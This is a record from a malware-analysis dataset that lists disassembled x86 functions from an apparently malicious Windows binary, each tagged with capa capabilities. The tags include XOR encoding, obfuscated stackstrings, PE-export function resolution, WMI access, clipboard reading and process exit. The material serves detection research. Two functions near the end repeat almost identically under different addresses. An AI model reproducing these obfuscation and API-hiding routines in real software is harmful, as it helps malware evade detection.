joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f10
Capabilities:
Compute adler32 checksum
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x4070d6
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x24]
movzx edi, si
shr esi, 0x10
test ebx, ebx
je 0x4070cf
mov ecx, 0x5e6ea9af
mov eax, ebx
mul ecx
shr edx, 0xb
imul eax, edx, 0x15b0
mov ecx, ebx
sub ecx, eax
jmp 0x406fa6
mov ecx, dword [esp + 4]
mov eax, ecx
sub eax, dword [esp]
add ebp, eax
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, esi
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub esi, eax
mov ebx, dword [esp + 0xc]
sub ebx, ecx
mov ecx, 0x15b0
je 0x4070cf
xor edx, edx
cmp ecx, 8
mov dword [esp + 4], ecx
jb 0x407032
and ecx, 0x1ff8
mov dword [esp], ecx
xor eax, eax
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
add esi, eax
movzx ecx, byte [ebp + edx + 1]
add ecx, eax
add esi, ecx
movzx eax, byte [ebp + edx + 2]
mov edi, ecx
and edi, eax
xor ecx, eax
lea eax, [ecx + edi*2]
add esi, eax
movzx ecx, byte [ebp + edx + 3]
add ecx, eax
add esi, ecx
movzx eax, byte [ebp + edx + 4]
add eax, ecx
mov ecx, esi
and ecx, eax
xor esi, eax
movzx edi, byte [ebp + edx + 5]
add edi, eax
add esi, edi
lea eax, [esi + ecx*2]
movzx ecx, byte [ebp + edx + 6]
add ecx, edi
mov esi, eax
and esi, ecx
xor eax, ecx
movzx edi, byte [ebp + edx + 7]
add edi, ecx
mov ecx, dword [esp + 4]
add eax, edi
lea esi, [eax + esi*2]
lea eax, [edx + 8]
add edx, 0xf
cmp edx, ecx
jb 0x406fc0
add ebp, eax
mov edx, dword [esp]
mov eax, edx
sub eax, ecx
mov dword [esp + 0xc], ebx
jae 0x406f6b
mov dword [esp + 8], eax
mov eax, ecx
and eax, 3
mov dword [esp], edx
je 0x40707f
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx]
inc edx
add edi, ecx
add esi, edi
dec ebx
cmp eax, ebx
jne 0x407060
mov eax, dword [esp]
sub eax, ebx
cmp dword [esp + 8], 0xfffffffc
ja 0x406f60
jmp 0x40708e
mov eax, edx
mov edx, ebp
cmp dword [esp + 8], 0xfffffffc
ja 0x406f60
mov ebx, dword [esp + 4]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx + eax]
add ecx, edi
add esi, ecx
movzx edi, byte [edx + eax + 1]
add edi, ecx
add esi, edi
movzx ecx, byte [edx + eax + 2]
add ecx, edi
add esi, ecx
movzx edi, byte [edx + eax + 3]
add edi, ecx
add esi, edi
add eax, 4
cmp ebx, eax
jne 0x4070a0
jmp 0x406f60
shl esi, 0x10
or esi, edi
jmp 0x4070db
mov esi, 1
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4070f0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x407123
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
lea eax, [edx + edx]
not eax
add eax, edx
test ebx, ebx
je 0x4071ba
test bl, 1
jne 0x40712a
mov edx, ebx
cmp ebx, 1
jne 0x40715b
jmp 0x4071ba
xor eax, eax
jmp 0x4071bc
lea edx, [ebx - 1]
mov esi, eax
shr esi, 4
movzx edi, byte [ecx]
xor eax, edi
and eax, 0xf
xor esi, dword [eax*4 + 0x44fc50]
mov eax, esi
shr eax, 4
and esi, 0xf
shr edi, 4
xor edi, esi
xor eax, dword [edi*4 + 0x44fc50]
inc ecx
cmp ebx, 1
je 0x4071ba
xor esi, esi
nop
nop
nop
mov edi, eax
shr edi, 4
movzx ebx, byte [ecx + esi]
xor eax, ebx
and eax, 0xf
xor edi, dword [eax*4 + 0x44fc50]
mov eax, edi
shr eax, 4
and edi, 0xf
shr ebx, 4
xor ebx, edi
xor eax, dword [ebx*4 + 0x44fc50]
mov edi, eax
shr edi, 4
movzx ebx, byte [ecx + esi + 1]
xor eax, ebx
and eax, 0xf
xor edi, dword [eax*4 + 0x44fc50]
mov eax, edi
shr eax, 4
and edi, 0xf
shr ebx, 4
xor ebx, edi
xor eax, dword [ebx*4 + 0x44fc50]
add esi, 2
cmp edx, esi
jne 0x407160
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x40d2e0
Capabilities:
Terminate process

Disassembly:
push esi
sub esp, 0x10
call fcn.00448240
test al, al
je 0x40d4de
call dword [sym.imp.USER32.dll_GetInputState]
mov esi, eax
call fcn.0043fb80
test al, al
je 0x40d4d9
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 4], 0xbe854845
mov dword [esp + 8], 0x6a609e62
mov word [esp + 0xc], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 9
ja 0x40d366
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0040d4f0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xa
jb 0x40d340
mov dword [esp + 4], 0xde7903c3
mov dword [esp + 8], 0xb441e2c9
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xa
ja 0x40d3c6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0040d540
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xb
jb 0x40d3a0
mov dword [esp + 4], 0x939291b1
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x40d416
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0040d590
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x40d3f0
test esi, esi
je 0x40d476
mov dword [esp + 4], 0x29bfc563
mov dword [esp + 8], 0xf3e8843a
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xa
ja 0x40d476
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0040d5e0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xb
jb 0x40d450
mov dword [esp + 4], 0x2050407
mov dword [esp + 8], 0xe010003
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40d4c6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0040d630
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40d4a0
call fcn.0040eb20
test al, al
je 0x40d4d9
call fcn.00412e50
call fcn.004109f0
call fcn.00449700
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x412e50
Capabilities:
Contain obfuscated stackstrings
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb8
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x453b20]

Function at 0x41ed00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa50
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41ed20
sar esi, 1
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x459d60]
mov ebx, dword [esp + 0x24]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41ed54
mov eax, 0xffffffff
jmp 0x41ed57
lea eax, [ebx + ebx]
push eax
call fcn.0040ccf0
add esp, 4
lea ecx, [esp + 0x24]
push ecx
push ebx
mov ebx, eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x459d60]
mov eax, dword [esp + 0x24]
mov ecx, eax
add ecx, 0xd
js 0x41ed8a
lea edi, [eax*2 + 0x1a]
push edi
call fcn.0040ccf0
add esp, 4
mov edi, eax
mov dword [esp + 0x250], 0xd702c96c
mov dword [esp + 0x254], 0xd36dd575
mov dword [esp + 0x258], 0xdf3ed16c
mov dword [esp + 0x25c], 0xdb77dd06
mov dword [esp + 0x260], 0xa719d966
mov dword [esp + 0x264], 0xa311a50d
mov dword [esp + 0x268], 0xafaea112
mov byte [esp + 0x26c], 0
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x690]
cmp eax, 0x1c
ja 0x41ee50
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x690]
movzx eax, byte [esp + eax + 0x250]
push dword [esp + 0x690]
push eax
call fcn.00423db0
add esp, 8
mov ecx, dword [esp + 0x690]
mov byte [esp + ecx + 0x250], al
inc dword [esp + 0x690]
mov eax, dword [esp + 0x690]
cmp eax, 0x1d
jb 0x41ee10
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x41ee71
lea edx, [ebx + 2]
mov eax, edi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41ee60
mov word [eax], 0
movzx ecx, word [esp + 0x250]
test cx, cx
mov dword [esp + 0x1c], ebx
je 0x41eea1
lea edx, [esp + 0x252]
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41ee90
mov word [eax], 0
lea eax, [esp + 0x130]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.0044d160
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x454640]
Function at 0x425d00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x60
mov ebx, dword [esp + 0x7c]
mov ebp, dword [esp + 0x78]
mov edi, dword [esp + 0x74]
mov ecx, dword [ebx + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x425d20
cmp eax, 0xffffffdd
jge 0x425d37
mov eax, 0xffffffff
jmp 0x425d3a
add eax, 0x22
push eax
call fcn.0040ccf0
add esp, 4
mov esi, eax
mov dword [esp + 0x18], 0x9870b68
mov dword [esp + 0x1c], 0x5770784
mov dword [esp + 0x20], 0x17d038a
mov dword [esp + 0x24], 0x1d651f79
mov dword [esp + 0x28], 0x19661b78
mov dword [esp + 0x2c], 0x156c1763
mov dword [esp + 0x30], 0x1199136b
mov dword [esp + 0x34], 0x2da22f64
mov word [esp + 0x38], 0x2b2c
mov dword [esp + 0x3a], 0
mov byte [esp + 0x3e], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x26
ja 0x425ddb
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x18]
push dword [esp + 4]
push eax
call fcn.00426a20
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x27
jb 0x425db0
mov ecx, dword [ebx + 4]
movzx edx, word [ecx]
mov eax, esi
test dx, dx
je 0x425e01
add ecx, 2
mov eax, esi
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [ecx]
add ecx, 2
test dx, dx
jne 0x425df0
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
je 0x425e31
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425e20
mov word [eax], 0
mov dword [esp + 4], edi
mov dword [esp + 8], esi
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ebx
mov eax, dword [esp + 0x80]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0x21b727b3
mov dword [esp + 0x1c], 0xddf523aa
mov dword [esp + 0x20], 0xd956df43
mov dword [esp + 0x24], 0xd545db54
mov dword [esp + 0x28], 0xd15bd742
mov dword [esp + 0x2c], 0xcd43d34b
mov dword [esp + 0x30], 0xc91bcf5a
mov dword [esp + 0x34], 0xc51fcb1d
mov dword [esp + 0x38], 0xc120c71e
mov dword [esp + 0x3c], 0xfd4fc34f
mov dword [esp + 0x40], 0xf96cff63
mov dword [esp + 0x44], 0xf56bfb05
mov dword [esp + 0x48], 0xf17af762
mov dword [esp + 0x4c], 0xed7af36f
mov dword [esp + 0x50], 0xe915ef60
mov dword [esp + 0x54], 0xe52deb74
mov dword [esp + 0x58], 0xe1e6e73e
mov byte [esp + 0x5e], 0
mov word [esp + 0x5c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x46
ja 0x425f26
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00426a60
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x47
jb 0x425f00
lea eax, [esp + 4]
lea ecx, [esp + 0x18]
push eax
push 0x426230
push ecx
push esi
call fcn.00426e00
add esp, 0x10
jmp dword [0x454ae8]
Function at 0x4296a0
Capabilities:
Get disk information

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x74
mov esi, dword [0x459d60]
mov dword [esp + 0x14], 0x7306712d
mov dword [esp + 0x18], 0x6f0d6dfb
mov dword [esp + 0x1c], 0x6bfe6909
mov dword [esp + 0x20], 0x67f66525
mov dword [esp + 0x24], 0x631e61f0
mov dword [esp + 0x28], 0x9f129dfd
mov dword [esp + 0x2c], 0x9bc799f9
mov word [esp + 0x30], 0x9594
mov dword [esp + 0x32], 0
mov byte [esp + 0x36], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x22
ja 0x42973b
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.0042cb00
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x23
jb 0x429710
lea edi, [esp + 0x68]
lea eax, [esp + 0x14]
push edi
push 0
push 0
push 0xe
push eax
push 0
call esi
mov ebx, dword [esp + 0x68]
test ebx, ebx
jns 0x42975e
mov eax, 0xffffffff
jmp 0x429761
lea eax, [ebx + ebx]
push eax
call fcn.0040ccf0
add esp, 4
mov esi, eax
mov ebp, dword [0x459d60]
mov dword [esp + 0x14], 0x994e9bb7
mov dword [esp + 0x18], 0xa54ba769
mov dword [esp + 0x1c], 0xa156a34b
mov dword [esp + 0x20], 0xad5eaf6f
mov dword [esp + 0x24], 0xa966ab5c
mov dword [esp + 0x28], 0xb54ab747
mov dword [esp + 0x2c], 0xb199b35b
mov word [esp + 0x30], 0xbfb0
mov dword [esp + 0x32], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x21
ja 0x4297fb
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.0042cb50
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x22
jb 0x4297d0
push edi
push ebx
push esi
push 0xe
lea eax, [esp + 0x24]
push eax
push 0
call ebp
mov eax, dword [esp + 0x68]
mov ecx, eax
add ecx, 9
jns 0x42981b
mov eax, 0xffffffff
jmp 0x429822
lea eax, [eax*2 + 0x12]
push eax
call fcn.0040ccf0
add esp, 4
mov edi, eax
mov dword [esp + 0x14], 0x23f2218c
mov dword [esp + 0x18], 0x27852585
mov dword [esp + 0x1c], 0x3b9b3983
mov dword [esp + 0x20], 0x3f9b3d9b
mov dword [esp + 0x24], 0x33323183
mov dword [esp + 0x28], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x17
ja 0x42989b
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.0042cbb0
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x18
jb 0x429870
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x4298c1
lea edx, [esi + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4298b0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x4298f1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4298e0
mov ebp, dword [esp + 0x88]
mov word [eax], 0
lea eax, [esp + 0x70]
push eax
push edi
call fcn.0044d310
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x45520c]
Function at 0x42e3c0
Capabilities:
Contain obfuscated stackstrings
Copy file

Disassembly:
push dword [esp + 4]
call fcn.0042e3e0
add esp, 4
test al, al
je 0x42ec20
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0x9c
xor esi, esi
mov ebx, 0x20219
mov eax, 1
jmp dword [eax*4 + 0x455a54]
Function at 0x439360
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x318
mov dword [esp + 0x2fc], 0x456754
mov dword [esp + 0xac], 0
lea eax, [esp + 0xac]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x450c50
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x450c60
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x2f8], eax
mov eax, dword [esp + 0x2fc]
mov ecx, dword [esp + 0x2f8]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x2f4], 0x45675c
mov dword [esp + 0x2ec], 0x456764
mov dword [esp + 0x2e4], 0x45676c
mov dword [esp + 0x2dc], 0x456774
mov dword [esp + 0x2d4], 0x45677c
mov dword [esp + 0x2cc], 0x456784
mov dword [esp + 0x2c4], 0x455e50
mov dword [esp + 0x2c0], 0xa3
mov dword [esp + 0x2bc], 0x455e50
mov dword [esp + 0x2b8], 0xa4
mov dword [esp + 0x2b4], 0x45678c
mov dword [esp + 0x2ac], 0x455e50
mov dword [esp + 0x2a8], 0xa6
mov dword [esp + 0x2a4], 0x456794
mov dword [esp + 0x29c], 0x45679c
mov dword [esp + 0x294], 0x4567a4
mov dword [esp + 0x28c], 0x455e50
mov dword [esp + 0x288], 0xad
mov dword [esp + 0x284], 0x4567ac
mov dword [esp + 0x27c], 0x4567b4
mov dword [esp + 0x274], 0x455e50
mov dword [esp + 0x270], 0xad
mov dword [esp + 0x26c], 0x4567bc
mov dword [esp + 0x264], 0x4567c4
mov dword [esp + 0x25c], 0x455e50
mov dword [esp + 0x258], 0xb0
mov dword [esp + 0x254], 0x4567cc
mov dword [esp + 0x24c], 0x4567d4
mov dword [esp + 0x244], 0x4567dc
mov dword [esp + 0x23c], 0x455e50
mov dword [esp + 0x238], 0xb4
mov dword [esp + 0x234], 0x4567e4
mov dword [esp + 0x22c], 0x4567ec
mov dword [esp + 0x224], 0x4567f4
mov dword [esp + 0x21c], 0x455e50
mov dword [esp + 0x218], 0xb8
mov dword [esp + 0x214], 0x4567fc
mov dword [esp + 0x20c], 0x456804
mov dword [esp + 0x204], 0x455e50
mov dword [esp + 0x200], 0xbb
mov dword [esp + 0x1fc], 0x455e50
mov dword [esp + 0x1f8], 0xbc
mov dword [esp + 0x1f4], 0x45680c
mov dword [esp + 0x1ec], 0x456814
mov dword [esp + 0x1e4], 0x45681c
mov dword [esp + 0x1dc], 0x455e50
mov dword [esp + 0x1d8], 0xc0
mov dword [esp + 0x1d4], 0x455e50
mov dword [esp + 0x1d0], 0xc1
mov dword [esp + 0x1cc], 0x455e50
mov dword [esp + 0x1c8], 0xc2
mov dword [esp + 0x1c4], 0x455e50
mov dword [esp + 0x1c0], 0xc3
mov dword [esp + 0x1bc], 0x455e50
mov dword [esp + 0x1b8], 0x9d
mov dword [esp + 0x1b4], 0x455e50
mov dword [esp + 0x1b0], 0xa0
mov dword [esp + 0x1ac], 0x455e50
mov dword [esp + 0x1a8], 0xa7
mov dword [esp + 0x1a4], 0x455e50
mov dword [esp + 0x1a0], 0xab
mov dword [esp + 0x19c], 0x455e50
mov dword [esp + 0x198], 0xb1
mov dword [esp + 0x194], 0x455e50
mov dword [esp + 0x190], 0xb5
mov dword [esp + 0x18c], 0x455e50
mov dword [esp + 0x188], 0xb9
mov dword [esp + 0x184], 0x455e50
mov dword [esp + 0x180], 0xbe
xor ebx, ebx
jmp eax
Function at 0x43b020
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
call fcn.0040eb10
sub esp, 0x14
mov esi, esp
push eax
mov edi, esp
jmp 0x43b038
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x43b04c
cmp eax, 0
setne al
jmp 0x43b054
xor ebx, ebx
test al, 1
jne 0x43b05f
jmp 0x43b187
mov dword [ebp - 0x18], edi
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
xor ebx, ebx
cmp edi, 0
je 0x43b17f
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp], eax
call fcn.0040ce00
add esp, 4
mov edx, eax
xor ebx, ebx
cmp edx, 0
je 0x43b171
mov eax, dword [ebp - 0x18]
mov al, byte [eax]
mov byte [ebp - 0x14], al
mov byte [esi], 0xdf
mov byte [esi + 1], 0xb5
mov byte [esi + 2], 0xb7
mov byte [esi + 3], 0xaf
mov byte [esi + 4], 0xba
mov byte [esi + 5], 0xae
mov byte [esi + 6], 0x43
mov byte [esi + 7], 0x55
mov byte [esi + 8], 0x44
mov byte [esi + 9], 0x13
mov byte [esi + 0xa], 0x52
mov byte [esi + 0xb], 0x5f
mov byte [esi + 0xc], 0x50
mov byte [esi + 0xd], 0xe5
mov eax, 0xe
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0x12
jne 0x43b107
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x12
jae 0x43b151
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov ebx, edx
call fcn.0043fac0
mov edx, ebx
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
jmp 0x43b11a
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], esi
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.0040d830
mov bl, al
and bl, 1
jmp 0x43b171
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x43b17f
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x43b187
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x44a800
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebx, dword [esp + 0x3c]
movzx esi, word [ebx]
mov dword [esp + 4], 0x797ad5b7
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x44a856
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0044ae20
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x44a830
xor ecx, ecx
cmp dword [esp + 4], esi
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x4582c0]
mov esi, dword [ebx + 0x3c]
mov edi, dword [ebx + esi]
mov dword [esp + 4], 0x2126f8f4
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x44a8c6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0044ae70
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x44a8a0
xor ecx, ecx
cmp edi, dword [esp + 4]
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x4582c8]
mov edi, dword [ebx + esi + 0x78]
cmp dword [ebx + esi + 0x7c], 0
sete al
test edi, edi
sete cl
or cl, al
movzx eax, cl
mov dword [esp + 0x14], edi
jmp dword [eax*4 + 0x4582d0]
mov eax, dword [ebx + edi + 0x20]
add eax, ebx
mov dword [esp + 0x24], eax
mov eax, dword [ebx + edi + 0x24]
add eax, ebx
mov dword [esp + 0x20], eax
mov eax, dword [ebx + edi + 0x1c]
add eax, ebx
mov dword [esp + 0x1c], eax
mov esi, dword [0x459d68]
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x4582e8]
xor eax, eax
jmp dword [0x4582e4]
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x44a868
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebx, dword [esp + 0x3c]
movzx esi, word [ebx]
mov dword [esp + 4], 0x797ad5b7
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x44a856
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0044ae20
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x44a830
xor ecx, ecx
cmp dword [esp + 4], esi
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x4582c0]
mov esi, dword [ebx + 0x3c]
mov edi, dword [ebx + esi]
mov dword [esp + 4], 0x2126f8f4
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x44a8c6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.0044ae70
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x44a8a0
xor ecx, ecx
cmp edi, dword [esp + 4]
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x4582c8]
mov edi, dword [ebx + esi + 0x78]
cmp dword [ebx + esi + 0x7c], 0
sete al
test edi, edi
sete cl
or cl, al
movzx eax, cl
mov dword [esp + 0x14], edi
jmp dword [eax*4 + 0x4582d0]
mov eax, dword [ebx + edi + 0x20]
add eax, ebx
mov dword [esp + 0x24], eax
mov eax, dword [ebx + edi + 0x24]
add eax, ebx
mov dword [esp + 0x20], eax
mov eax, dword [ebx + edi + 0x1c]
add eax, ebx
mov dword [esp + 0x1c], eax
mov esi, dword [0x459d68]
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x4582e8]
xor eax, eax
jmp dword [0x4582e4]
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret